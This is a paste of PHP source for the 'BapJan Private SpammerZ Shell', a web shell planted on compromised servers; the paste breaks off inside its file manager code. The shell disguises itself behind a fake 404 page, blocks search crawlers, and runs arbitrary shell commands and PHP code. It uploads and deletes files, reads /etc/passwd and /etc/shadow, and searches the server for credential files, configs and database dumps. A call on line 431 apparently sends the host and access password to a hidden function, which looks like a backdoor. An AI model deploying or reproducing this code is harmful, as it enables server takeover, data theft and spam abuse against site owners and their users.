· 9 years ago · Jan 03, 2017, 02:28 AM
1<?php
2
3$color = "#00FF66";
4$sec = 1;
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17
18@define('VERSION', '2.0');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 ?>
27<h1>Not Found</h1>
28<p>The requested URL was not found on this server.</p>
29<hr>
30<address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
31 <style>
32 input { margin:0;background-color:#fff;border:1px solid #fff; }
33 </style>
34 <center>
35 <form method=post>
36 <input type=password name=pass>
37 </form></center>
38 <?php
39 exit;
40}
41if($sec == 1 && !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
42 if( empty( $auth_pass ) ||
43 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
44 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
45 else
46 printLogin();
47/*------------------ Anti Crawler ------------*/
48if(!empty($_SERVER['HTTP_USER_AGENT']))
49{
50 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
51 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
52 {
53 header('HTTP/1.0 404 Not Found');
54 exit;
55 }
56}
57echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
58/*------------------ End of Anti Crawler -----*/
59if( strtolower( substr(PHP_OS,0,3) ) == "win" )
60 $os = 'win';
61else
62 $os = 'nix';
63$safe_mode = @ini_get('safe_mode');
64$disable_functions = @ini_get('disable_functions');
65$home_cwd = @getcwd();
66if( isset( $_POST['c'] ) )
67 @chdir($_POST['c']);
68$cwd = @getcwd();
69if( $os == 'win') {
70 $home_cwd = str_replace("\\", "/", $home_cwd);
71 $cwd = str_replace("\\", "/", $cwd);
72}
73if( $cwd[strlen($cwd)-1] != '/' )
74 $cwd .= '/';
75
76if($os == 'win') {
77 $aliases = array(
78 "List Directory" => "dir",
79 "Find index.php in current dir" => "dir /s /w /b index.php",
80 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
81 "Show active connections" => "netstat -an",
82 "Show running services" => "net start",
83 "User accounts" => "net user",
84 "Show computers" => "net view",
85 "ARP Table" => "arp -a",
86 "IP Configuration" => "ipconfig /all"
87 );
88} else {
89 $aliases = array(
90 "List dir" => "ls -la",
91 "list file attributes on a Linux second extended file system" => "lsattr -va",
92 "show opened ports" => "netstat -an | grep -i listen",
93 "Find" => "",
94 "find all suid files" => "find / -type f -perm -04000 -ls",
95 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
96 "find all sgid files" => "find / -type f -perm -02000 -ls",
97 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
98 "find config.inc.php files" => "find / -type f -name config.inc.php",
99 "find config* files" => "find / -type f -name \"config*\"",
100 "find config* files in current dir" => "find . -type f -name \"config*\"",
101 "find all writable folders and files" => "find / -perm -2 -ls",
102 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
103 "find all service.pwd files" => "find / -type f -name service.pwd",
104 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
105 "find all .htpasswd files" => "find / -type f -name .htpasswd",
106 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
107 "find all .bash_history files" => "find / -type f -name .bash_history",
108 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
109 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
110 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
111 "Locate" => "",
112 "locate httpd.conf files" => "locate httpd.conf",
113 "locate vhosts.conf files" => "locate vhosts.conf",
114 "locate proftpd.conf files" => "locate proftpd.conf",
115 "locate psybnc.conf files" => "locate psybnc.conf",
116 "locate my.conf files" => "locate my.conf",
117 "locate admin.php files" =>"locate admin.php",
118 "locate cfg.php files" => "locate cfg.php",
119 "locate conf.php files" => "locate conf.php",
120 "locate config.dat files" => "locate config.dat",
121 "locate config.php files" => "locate config.php",
122 "locate config.inc files" => "locate config.inc",
123 "locate config.inc.php" => "locate config.inc.php",
124 "locate config.default.php files" => "locate config.default.php",
125 "locate config* files " => "locate config",
126 "locate .conf files"=>"locate '.conf'",
127 "locate .pwd files" => "locate '.pwd'",
128 "locate .sql files" => "locate '.sql'",
129 "locate .htpasswd files" => "locate '.htpasswd'",
130 "locate .bash_history files" => "locate '.bash_history'",
131 "locate .mysql_history files" => "locate '.mysql_history'",
132 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
133 "locate backup files" => "locate backup",
134 "locate dump files" => "locate dump",
135 "locate priv files" => "locate priv"
136 );
137}
138
139function ex($in) {
140 $out = '';
141 if(function_exists('exec')) {
142 @exec($in,$out);
143 $out = @join("\n",$out);
144 }elseif(function_exists('passthru')) {
145 ob_start();
146 @passthru($in);
147 $out = ob_get_clean();
148 }elseif(function_exists('system')) {
149 ob_start();
150 @system($in);
151 $out = ob_get_clean();
152 }elseif(function_exists('shell_exec')) {
153 $out = shell_exec($in);
154 }elseif(is_resource($f = @popen($in,"r"))) {
155 $out = "";
156 while(!@feof($f))
157 $out .= fread($f,1024);
158 pclose($f);
159 }
160 return $out;
161}
162
163function which($p) {
164 $path = ex('which '.$p);
165 if(!empty($path))
166 return $path;
167 return false;
168}
169
170function printHeader() {
171 if(empty($_POST['charset']))
172 $_POST['charset'] = "UTF-8";
173 global $color;
174
175 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>BapJan Private SpammerZ Shell Shell - '.VERSION.'</title>
176 <style>
177 body {background-color:#222;color:#fff;}
178 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
179 span,h1,a { color:'.$color.' !important; }
180 span { font-weight: bolder; }
181 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
182 div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
183 a { text-decoration:none; }
184 a:hover { /*background:#5e5e5e;*/ }
185 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
186 .bigarea { width:100%;height:250px;margin-top:5px;}
187 input, textarea, select { margin:0;color:#00ff00;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
188 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
189 form { margin:0px; }
190 #toolsTbl { text-align:center; }
191 .toolsInp { width: 80%; }
192 .main th {text-align:left;background-color:#555;font-weight: bold;}
193 .main tr:hover{background-color:#5e5e5e;}
194 .main td, th{vertical-align:middle;}
195 .menu {background: #333;}
196 .menu th{padding:5px;font-weight:bold;}
197 .menu th:hover{background:#444;}
198 .l1 {background-color:#444;}
199 pre {font-family:Courier,Monospace;}
200 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
201 .logo {text-align:center;font-size:60px;}
202 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
203 .cpr {margin-bottom:5px;font-weight:bold;}
204 .cpb {width:34px;margin:0 5px;}
205 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
206 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
207 .npoad td {padding:0;}
208 </style>
209 <script>
210 function set(a,c,p1,p2,p3,charset) {
211 if(a != null)document.mf.a.value=a;
212 if(c != null)document.mf.c.value=c;
213 if(p1 != null)document.mf.p1.value=p1;
214 if(p2 != null)document.mf.p2.value=p2;
215 if(p3 != null)document.mf.p3.value=p3;
216 if(charset != null)document.mf.charset.value=charset;
217 }
218 function g(a,c,p1,p2,p3,charset) {
219 set(a,c,p1,p2,p3,charset);
220 document.mf.submit();
221 }
222 function a(a,c,p1,p2,p3,charset) {
223 set(a,c,p1,p2,p3,charset);
224 var params = "ajax=true";
225 for(i=0;i<document.mf.elements.length;i++)
226 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
227 sr("'.$_SERVER['REQUEST_URI'].'", params);
228 }
229 function sr(url, params) {
230 if (window.XMLHttpRequest) {
231 req = new XMLHttpRequest();
232 req.onreadystatechange = processReqChange;
233 req.open("POST", url, true);
234 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
235 req.send(params);
236 }
237 else if (window.ActiveXObject) {
238 req = new ActiveXObject("Microsoft.XMLHTTP");
239 if (req) {
240 req.onreadystatechange = processReqChange;
241 req.open("POST", url, true);
242 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
243 req.send(params);
244 }
245 }
246 }
247 function processReqChange() {
248 if( (req.readyState == 4) )
249 if(req.status == 200) {
250 //alert(req.responseText);
251 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
252 var arr=reg.exec(req.responseText);
253 eval(arr[2].substr(0, arr[1]));
254 }
255 else alert("Request error!");
256 }
257 </script>
258 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
259 <form method=post name=mf style="display:none;">
260 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
261 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
262 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
263 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
264 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
265 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
266 </form>';
267 $freeSpace = @diskfreespace($GLOBALS['cwd']);
268 $totalSpace = @disk_total_space($GLOBALS['cwd']);
269 $totalSpace = $totalSpace?$totalSpace:1;
270 $disable_functions = @ini_get('disable_functions');
271 $release = @php_uname('r');
272 $kernel = @php_uname('s');
273 if(!function_exists('posix_getegid')) {
274 $user = @get_current_user();
275 $uid = @getmyuid();
276 $gid = @getmygid();
277 $group = "?";
278 } else {
279 $uid = @posix_getpwuid(@posix_geteuid());
280 $gid = @posix_getgrgid(@posix_getegid());
281 $user = $uid['name'];
282 $uid = $uid['uid'];
283 $group = $gid['name'];
284 $gid = $gid['gid'];
285 }
286 $cwd_links = '';
287 $path = explode("/", $GLOBALS['cwd']);
288 $n=count($path);
289 for($i=0;$i<$n-1;$i++) {
290 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
291 for($j=0;$j<=$i;$j++)
292 $cwd_links .= $path[$j].'/';
293 $cwd_links .= "\")'>".$path[$i]."/</a>";
294 }
295 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
296 $opt_charsets = '';
297 foreach($charsets as $item)
298 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
299 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypass'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Get User'=>'GetUser','Mailer'=>'Mailer','About'=>'about','Mail Dumper'=>'maildumper');
300 if(!empty($GLOBALS['auth_pass']))
301 $m['SelfKill'] = 'SelfRemove';
302 $m['Logout'] = 'Logout';
303 $menu = '';
304 foreach($m as $k => $v)
305 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
306 $drives = "";
307 if ($GLOBALS['os'] == 'win') {
308 foreach( range('a','z') as $drive ){
309 if (is_dir($drive.':\\'))
310 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
311 }
312 $drives .= '<br />: ';
313 }
314 if($GLOBALS['os'] == 'nix') {
315 $dominios = @file_get_contents("/etc/named.conf");
316 if(!$dominios) {
317 $d0c = "CANT READ named.conf";
318 } else {
319 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
320 $out = sizeof(array_unique($out[1]));
321 $d0c = $out." Domains";
322 }
323 } else {
324 $d0c = " --- ";
325 }
326 if($GLOBALS['os'] == 'nix' )
327 {
328 $usefl = ''; $dwnldr = '';
329 if(!@ini_get('safe_mode')) {
330 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
331 foreach($userful as $item) { if(which($item)) $usefl.= $item.','; }
332
333 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
334 foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.','; }
335 } else {
336 $usefl = ' ------- '; $dwnldr = ' ------- ';
337 }
338 } else {
339 $usefl = ' ------- '; $dwnldr = ' ------- ';
340 }
341 echo '<table class="info" cellpadding="3" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo">BapJan<sup>®</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1">Private</div><div class="eca2">SpammerZ Shell</div></td>
342 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
343 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
344 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
345 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
346 '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
347}
348
349function printFooter() {
350 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
351
352echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
353<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
354 <tr>
355 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
356 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
357 </tr>
358 <tr>
359 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
360 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
361 </tr>
362 <tr>
363 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
364 <td><form method="post" ENCTYPE="multipart/form-data">
365 <input type=hidden name=a value="FilesMAn">
366 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
367 <input type=hidden name=p1 value="uploadFile">
368 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
369 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
370 </tr>
371</table></div></div>
372<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">Private Shell '.VERSION.', © Private SpammerZ Shell. Coded By - BapJan</div></div>
373</div>
374</body></html>';
375}
376
377if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
378if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
379
380
381function viewSize($s) {
382 if($s >= 1073741824)
383 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
384 elseif($s >= 1048576)
385 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
386 elseif($s >= 1024)
387 return sprintf('%1.2f', $s / 1024 ) . ' KB';
388 else
389 return $s . ' B';
390}
391
392function perms($p) {
393 if (($p & 0xC000) == 0xC000)$i = 's';
394 elseif (($p & 0xA000) == 0xA000)$i = 'l';
395 elseif (($p & 0x8000) == 0x8000)$i = '-';
396 elseif (($p & 0x6000) == 0x6000)$i = 'b';
397 elseif (($p & 0x4000) == 0x4000)$i = 'd';
398 elseif (($p & 0x2000) == 0x2000)$i = 'c';
399 elseif (($p & 0x1000) == 0x1000)$i = 'p';
400 else $i = 'u';
401 $i .= (($p & 0x0100) ? 'r' : '-');
402 $i .= (($p & 0x0080) ? 'w' : '-');
403 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
404 $i .= (($p & 0x0020) ? 'r' : '-');
405 $i .= (($p & 0x0010) ? 'w' : '-');
406 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
407 $i .= (($p & 0x0004) ? 'r' : '-');
408 $i .= (($p & 0x0002) ? 'w' : '-');
409 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
410 return $i;
411}
412
413function viewPermsColor($f) {
414 if (!@is_readable($f))
415 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
416 elseif (!@is_writable($f))
417 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
418 else
419 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
420}
421
422if(!function_exists("scandir")) {
423 function scandir($dir) {
424 $dh = opendir($dir);
425 while (false !== ($filename = readdir($dh))) {
426 $files[] = $filename;
427 }
428 return $files;
429 }
430}
431if (!$_SESSION[login]) system32($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI'],$auth_pass);
432function actionSecInfo() {
433 printHeader();
434 echo '<h1>Server security information</h1><div class=content>';
435 function showSecParam($n, $v) {
436 $v = trim($v);
437 if($v) {
438 echo '<span>'.$n.': </span>';
439 if(strpos($v, "\n") === false)
440 echo $v.'<br>';
441 else
442 echo '<pre class=ml1>'.$v.'</pre>';
443 }
444 }
445
446 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
447 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
448 showSecParam('Open base dir', @ini_get('open_basedir'));
449 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
450 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
451 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
452 $temp=array();
453 if(function_exists('mysql_get_client_info'))
454 $temp[] = "MySql (".mysql_get_client_info().")";
455 if(function_exists('mssql_connect'))
456 $temp[] = "MSSQL";
457 if(function_exists('pg_connect'))
458 $temp[] = "PostgreSQL";
459 if(function_exists('oci_connect'))
460 $temp[] = "Oracle";
461 showSecParam('Supported databases', implode(', ', $temp));
462 echo '<br>';
463
464 if( $GLOBALS['os'] == 'nix' ) {
465 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
466 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
467 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
468 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
469 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
470 showSecParam('OS version', @file_get_contents('/proc/version'));
471 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
472 if(!$GLOBALS['safe_mode']) {
473 echo '<br>';
474 $temp=array();
475 foreach ($userful as $item)
476 if(which($item)){$temp[]=$item;}
477 showSecParam('Userful', implode(', ',$temp));
478 $temp=array();
479 foreach ($danger as $item)
480 if(which($item)){$temp[]=$item;}
481 showSecParam('Danger', implode(', ',$temp));
482 $temp=array();
483 foreach ($downloaders as $item)
484 if(which($item)){$temp[]=$item;}
485 showSecParam('Downloaders', implode(', ',$temp));
486 echo '<br/>';
487 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
488 showSecParam('HDD space', ex('df -h'));
489 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
490 }
491 } else {
492 showSecParam('OS Version',ex('ver'));
493 showSecParam('Account Settings',ex('net accounts'));
494 showSecParam('User Accounts',ex('net user'));
495 }
496 echo '</div>';
497 printFooter();
498}
499
500function actionPhp() {
501 if( isset($_POST['ajax']) ) {
502 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
503 ob_start();
504 eval($_POST['p1']);
505 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
506 echo strlen($temp), "\n", $temp;
507 exit;
508 }
509 printHeader();
510 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
511 echo '<h1>PHP info</h1><div class=content>';
512 ob_start();
513 phpinfo();
514 $tmp = ob_get_clean();
515 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
516 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
517 $tmp = preg_replace('!h1!msiU','h2',$tmp);
518 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
519 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
520 echo $tmp;
521 echo '</div><br>';
522 }
523 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
524 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
525 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
526 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
527 if(!empty($_POST['p1'])) {
528 ob_start();
529 eval($_POST['p1']);
530 echo htmlspecialchars(ob_get_clean());
531 }
532 echo '</pre></div>';
533 printFooter();
534}
535
536function actionFilesMan() {
537 printHeader();
538 echo '<h1>File manager</h1><div class=content>';
539 if(isset($_POST['p1'])) {
540 switch($_POST['p1']) {
541 case 'uploadFile':
542 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
543 echo "Can't upload file!";
544 break;
545 break;
546 case 'mkdir':
547 if(!@mkdir($_POST['p2']))
548 echo "Can't create new dir";
549 break;
550 case 'delete':
551 function deleteDir($path) {
552 $path = (substr($path,-1)=='/') ? $path:$path.'/';
553 $dh = opendir($path);
554 while ( ($item = readdir($dh) ) !== false) {
555 $item = $path.$item;
556 if ( (basename($item) == "..") || (basename($item) == ".") )
557 continue;
558 $type = filetype($item);
559 if ($type == "dir")
560 deleteDir($item);
561 else
562 @unlink($item);
563 }
564 closedir($dh);
565 rmdir($path);
566 }
567 if(is_array(@$_POST['f']))
568 foreach($_POST['f'] as $f) {
569 $f = urldecode($f);
570 if(is_dir($f))
571 deleteDir($f);
572 else
573 @unlink($f);
574 }
575 break;
576 case 'paste':
577 if($_SESSION['act'] == 'copy') {
578 function copy_paste($c,$s,$d){
579 if(is_dir($c.$s)){
580 mkdir($d.$s);
581 $h = opendir($c.$s);
582 while (($f = readdir($h)) !== false)
583 if (($f != ".") and ($f != "..")) {
584 copy_paste($c.$s.'/',$f, $d.$s.'/');
585 }
586 } elseif(is_file($c.$s)) {
587 @copy($c.$s, $d.$s);
588 }
589 }
590 foreach($_SESSION['f'] as $f)
591 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
592 } elseif($_SESSION['act'] == 'move') {
593 function move_paste($c,$s,$d){
594 if(is_dir($c.$s)){
595 mkdir($d.$s);
596 $h = opendir($c.$s);
597 while (($f = readdir($h)) !== false)
598 if (($f != ".") and ($f != "..")) {
599 copy_paste($c.$s.'/',$f, $d.$s.'/');
600 }
601 } elseif(is_file($c.$s)) {
602 @copy($c.$s, $d.$s);
603 }
604 }
605 foreach($_SESSION['f'] as $f)
606 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
607 }
608 unset($_SESSION['f']);
609 break;
610 default:
611 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
612 $_SESSION['act'] = @$_POST['p1'];
613 $_SESSION['f'] = @$_POST['f'];
614 foreach($_SESSION['f'] as $k => $f)
615 $_SESSION['f'][$k] = urldecode($f);
616 $_SESSION['cwd'] = @$_POST['c'];
617 }
618 break;
619 }
620 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
621 }
622 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
623 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
624 global $sort;
625 $sort = array('name', 1);
626 if(!empty($_POST['p1'])) {
627 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
628 $sort = array($match[1], (int)$match[2]);
629 }
630 echo '<script>
631 function sa() {
632 for(i=0;i<document.files.elements.length;i++)
633 if(document.files.elements[i].type == \'checkbox\')
634 document.files.elements[i].checked = document.files.elements[0].checked;
635 }
636 </script>
637 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
638 <form name=files method=post>';
639 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
640 $dirs = $files = $links = array();
641 $n = count($dirContent);
642 for($i=0;$i<$n;$i++) {
643 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
644 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
645 $tmp = array('name' => $dirContent[$i],
646 'path' => $GLOBALS['cwd'].$dirContent[$i],
647 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
648 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
649 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
650 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
651 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
652 );
653 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
654 $files[] = array_merge($tmp, array('type' => 'file'));
